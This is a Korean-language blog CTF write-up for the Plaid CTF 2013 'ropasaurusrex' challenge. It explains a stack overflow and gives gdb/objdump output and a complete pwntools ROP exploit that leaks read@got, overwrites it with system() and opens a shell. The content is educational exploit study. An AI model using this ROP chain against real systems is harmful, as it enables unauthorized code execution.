본문 바로가기

CTF_Write_UP

[Plaid CTF 2013 - ropasaurusrex] rop 공룡

시작

안녕하세요 :D

이번엔 ROP를 배웠다면 꼭 한 번 풀어봐야 할 문제, ropasaurusrex 입니다!!

NX bit, Never Execute bit의 등장으로 LOB와 overthewire에서 신나게 때려박았던 쉘코드를 더 이상 실행할 수 없게 되었습니다.

이를 우회할 수 있는 기법 중 하나가 ROP, Return-Oriented programming 입니다.

간단하게 말하자면 RTL Chaining을 이용해

라이브러리에 흩어져 있는 함수들의 주소들을 알아오고, 연속적으로 호출해서

원하는 것을(쉘이라덜까 쉘..) 얻는 방법이에요.

RTL과 ROP에 관한 설명은 시간이 여유로울 때 정리하겠습니다 ㅎㅎ

이제 rop공룡을 잡으러 가볼까요??

Write UP

root@goorm:/workspace/LCH_Server/ropasaurusrex_LCH# ./ropasaurusrex
hello
WIN

사용자의 입력을 받고 WIN 을 출력해줍니다.

IDA로 볼까요??.. 라고 하고 싶지만 IDA를 구할 수 없는 이 환경..ㅠㅠㅠ

소스만 살짝 따오겠습니다.

int __cdecl main()

{

    sub_80483F4();

    return write(1, "WIN\n", 4u);

}

ssize_t sub_80483F4()

{

    char buf; // [sp+10h] [bp-88h]

    return read(0, &buf, 256u);

}

buf 배열은 0x88, 136 bytes만큼 할당되어 있는데

read 함수는 256 bytes를 읽어오네요.

BOF에요 BOF!!

 


 

우리는 read()write()만을 가지고 system("/bin/sh")를 끌어와야 합니다.

그 동안 풀어왔던 문제 중 pwnable.kr의 passcode 문제 기억나시나요??

fflush()의 got를 overwrite 해서 쉘을 따는 문제였습니다.

[pwnable.kr passcode Write UP] https://powerco3e-lch.tistory.com/20?category=787786

이와 비슷하게 read()write() 둘 중 하나의 got를 system으로 덮어쓰고 인자값들을 넣어준다면 쉘이 똑 떨어지겠네요.

이를 위해 read@pltwrite@plt가 필요할 것 같습니다.

저는 read@got를 overwrite 하겠습니다. read@got의 주소도 구하겠습니다.

또한 함수들의 연속적인 호출을 위해여 gadget을 이용해야 하는데요!

 

[BUF] | [SFP] | [RET1] | [다음에 올 함수의 RET2] | [RET1의 인자값 1] …

 

위와 같이 스택프레임이 형성됩니다.

RET1은 인자값들을 끌어와서 함수를 실행시키고, 이것이 끝나면 EIP를 [다음에 올 함수 RET2]로 넘깁니다.

이 자리에 RET1의 인자값 개수만큼 POP을 해준 후 RET2를 붙인다면 연속적인 호출이 가능하게 되죠.

read()write() 모두 3개의 인자를 가지니 pop pop pop ret, pppr 가젯의 주소가 필요하겠네요.

이제 ASLR을 우회해야 합니다!!

ASLR이란 프로그램이 실행될 때마다 함수의 주소가 바뀌는 메모리 보호 기법을 의미해요.

주소값이 랜덤하게 바뀌기 때문에 어느 위치에 이 함수가 있다!! 라고 딱 정할 수 가 없습니다.

때문에 두 함수간의 거리의 차, offset을 이용하면 프로그램이 실행되었을 때 할당된 메모리 주소를 유추할 수 있어요.

때문에 read()system()의 거리 차(offset)도 필요합니다.

 

자.. 이제 system()의 인자만 넣어주면 되겠네요.

system()은 두 개의 인자를 필요로 하는데, 첫 번째는 4 bytes 히든인자, 두 번째는 우리의 /bin/sh 입니다.

/bin/sh를 저장할 공간의 주소 까지 필요하네요.

정리하겠습니다!

1. read@plt

2. write@plt

3. read@got

4. pppr

5. /bin/sh를 저장할 공간

6. offset (read() - system())

 

시나리오

1. read(0, [/bin/sh를 저장할 공간의 주소], len(“/bin/sh\00”)) → 표준입력으로 “/bin/sh”를 넣어준다

2. write(1, read@got, 4) → 프로그램이 실행 될 때 read@got의 주소를 leak

3. read(0, read@got, 4) → 표준입력으로 read@got의 주소에 read@got - offset 값을 넣어준다

4. read(“AAAA”, [/bin/sh를 저장한 공간의 주소]) → system으로 바뀐 read@plt를 호출, 쉘을 딴다!!

이제 하나하나 구해보자구요 ㅎㅎ

 


 

1. read@plt

2. write@plt

3. read@got

4. pppr

5. /bin/sh를 저장할 공간

6. offset (read() - system())

1, 2, 3번은 쉽죠?

gdb 좀 만져봤다~ 하시는 분들은 금방 구하셨을 거에요.

root@goorm:/workspace/LCH_Server/ropasaurusrex_LCH# gdb -q ./ropasaurusrex
Reading symbols from ./ropasaurusrex...(no debugging symbols found)...done.
gdb-peda$ p read
$1 = {} 0x804832c <read@plt>
gdb-peda$ p write
$2 = {} 0x804830c <write@plt>
gdb-peda$ x/3i 0x804832c
   0x804832c <read@plt>:        jmp    DWORD PTR ds:0x804961c
   0x8048332 <read@plt+6>:      push   0x18
   0x8048337 <read@plt+11>:     jmp    0x80482ec

read@plt = 0x804832c

write@plt = 0x804830c

read@got = 0x804961c

이제 4번 pppr을 구해볼까요? objdump 처음 써봤는데 완전 신세계..

root@goorm:/workspace/LCH_Server/ropasaurusrex_LCH# objdump -d ./ropasaurusrex | grep -B3 ret
 80482e8:       58                      pop    %eax
 80482e9:       5b                      pop    %ebx
 80482ea:       c9                      leave
 80482eb:       c3                      ret
--
 80483bf:       83 c4 04                add    $0x4,%esp
 80483c2:       5b                      pop    %ebx
 80483c3:       5d                      pop    %ebp
 80483c4:       c3                      ret
--
 80483e8:       c7 04 24 2c 95 04 08    movl   $0x804952c,(%esp)
 80483ef:       ff d0                   call   *%eax
 80483f1:       c9                      leave
 80483f2:       c3                      ret
--
 804840f:       c7 04 24 00 00 00 00    movl   $0x0,(%esp)
 8048416:       e8 11 ff ff ff          call   804832c <read@plt>
 804841b:       c9                      leave
 804841c:       c3                      ret
--
 804843b:       c7 04 24 01 00 00 00    movl   $0x1,(%esp)
 8048442:       e8 c5 fe ff ff          call   804830c <write@plt>
 8048447:       c9                      leave
 8048448:       c3                      ret
--
 8048450:       55                      push   %ebp
 8048451:       89 e5                   mov    %esp,%ebp
 8048453:       5d                      pop    %ebp
 8048454:       c3                      ret
--
 80484b6:       5e                      pop    %esi
 80484b7:       5f                      pop    %edi
 80484b8:       5d                      pop    %ebp
 80484b9:       c3                      ret
 80484ba:       8b 1c 24                mov    (%esp),%ebx
 80484bd:       c3                      ret
--
 80484e4:       83 c4 04                add    $0x4,%esp
 80484e7:       5b                      pop    %ebx
 80484e8:       5d                      pop    %ebp
 80484e9:       c3                      ret
--
 8048504:       59                      pop    %ecx
 8048505:       5b                      pop    %ebx
 8048506:       c9                      leave
 8048507:       c3                      ret

우리가 필요한건 pop pop pop ret 인데, 딱 하나 보이네요.

pppr = 0x80484b6

“/bin/sh”를 저장할 곳을 찾아볼까요?

root@goorm:/workspace/LCH_Server/ropasaurusrex_LCH# objdump -x ./ropasaurusrex

.

.

.

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .interp       00000013  08048114  08048114  00000114  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  1 .note.ABI-tag 00000020  08048128  08048128  00000128  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  2 .note.gnu.build-id 00000024  08048148  08048148  00000148  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  3 .hash         0000002c  0804816c  0804816c  0000016c  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  4 .gnu.hash     00000020  08048198  08048198  00000198  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  5 .dynsym       00000060  080481b8  080481b8  000001b8  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  6 .dynstr       00000050  08048218  08048218  00000218  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  7 .gnu.version  0000000c  08048268  08048268  00000268  2**1
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  8 .gnu.version_r 00000020  08048274  08048274  00000274  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  9 .rel.dyn      00000008  08048294  08048294  00000294  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 10 .rel.plt      00000020  0804829c  0804829c  0000029c  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 11 .init         00000030  080482bc  080482bc  000002bc  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 12 .plt          00000050  080482ec  080482ec  000002ec  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 13 .text         000001ac  08048340  08048340  00000340  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 14 .fini         0000001c  080484ec  080484ec  000004ec  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 15 .rodata       0000000d  08048508  08048508  00000508  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 16 .eh_frame     00000004  08048518  08048518  00000518  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 17 .ctors        00000008  0804951c  0804951c  0000051c  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 18 .dtors        00000008  08049524  08049524  00000524  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 19 .jcr          00000004  0804952c  0804952c  0000052c  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 20 .dynamic      000000d0  08049530  08049530  00000530  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 21 .got          00000004  08049600  08049600  00000600  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 22 .got.plt      0000001c  08049604  08049604  00000604  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 23 .data         00000008  08049620  08049620  00000620  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 24 .bss          00000008  08049628  08049628  00000628  2**2
                  ALLOC

 25 .comment      0000001c  00000000  00000000  00000628  2**0
                  CONTENTS, READONLY

bss 영역도 보이지만 dynamic 영역이 공간이 더 넓네요. 너로 정했습니다!!

/bin/sh를 저장할 공간 = 0x8049530

마지막으로 offset이 남았습니다.

gdb로 한 번 실행시킨 후 메모리를 볼까요?

gdb-peda$ r
Starting program: /workspace/LCH_Server/ropasaurusrex_LCH/ropasaurusrex
warning: Error disabling address space randomization: 명령을 허용하지 않음
AAAA
WIN
[Inferior 1 (process 3982) exited with code 04]
Warning: not running
gdb-peda$ p system
$1 = {} 0xf75f0e70 
gdb-peda$ p read
$2 = {} 0xf768cd20

| 0xf75f0e70 - 0xf768cd20 | = 0x9beb0

offset (read() - system()) = 0x9beb0

 


 

1. read@plt = 0x804832c

2. write@plt = 0x804830c

3. read@got = 0x804961c

4. pppr = 0x80484b6

5. /bin/sh를 저장할 공간 (dynamic) = 0x8049530

6. offset (read() - system()) = 0x9beb0

조각이 다 맞추어졌습니다!!

완성된 퍼즐을 액자로 옮겨봐요

#!/usr/bin/env python
#-*- coding:UTF-8 -*-

from pwn import *

p = process('./ropasaurusrex')

read_plt = 0x804832c
write_plt = 0x804830c
read_got = 0x804961c
pppr = 0x80484b6
dynamic = 0x8049530
offset = 0x9beb0
binsh = "/bin/sh\00"

# overwrite buf + SFP

payload = "A" * 140

#read로 dynamic 영역에 "/bin/sh" 저장

payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(dynamic)
payload += p32(len("/bin/sh\00"))

#write로 read@got 주소 leak

payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)

#read로 read()를 system()으로 overwrite

payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(read_got)
payload += p32(4)

#조작된 read로 system 실행

payload += p32(read_plt)
payload += "AAAA"       #system의 히든 인자
payload += p32(dynamic)

#입력

p.send(payload)

p.send("/bin/sh\00")

read = u32(p.recv(4))
system = read - offset

p.send(p32(system))

p.interactive()

byebye_ropa.py를 짰습니다.

사실 pwntools도 처음 사용해봤는데 너무 재밌네요ㅠㅠ 포너블 세상엔 재밌는 것 투성입니다 증말

root@goorm:/workspace/LCH_Server/ropasaurusrex_LCH# ./byebye_ropa.py
[+] Starting local process './ropasaurusrex': pid 4233
[*] Switching to interactive mode
$ whoami
root

Exploit!!

마무리

나만 rop공룡 못 풀었었는데 이젠 풀었따!!!! 나도 풀었다고!!!

objdump, pwntools, rop.. 처음 하는 것 투성이었지만 어찌어찌 잘 끝났습니다.

좋은 문제 푼 것 같아서 뿌듯하고 후련하네요 ㅎㅎ

읽어주셔서 감사합니다 :D

'CTF_Write_UP' 카테고리의 다른 글

[2017 CSAW CTF] pilot  (0) 2019.05.30
[Codegate 2018] BaskinRobins31  (0) 2019.05.27
[2019 DefCon Quals] speedrun-002  (0) 2019.05.25
[2019 DefCon Quals] speedrun-001  (0) 2019.05.23
BOF : FTZ-무임승차 문제 분석  (0) 2019.04.13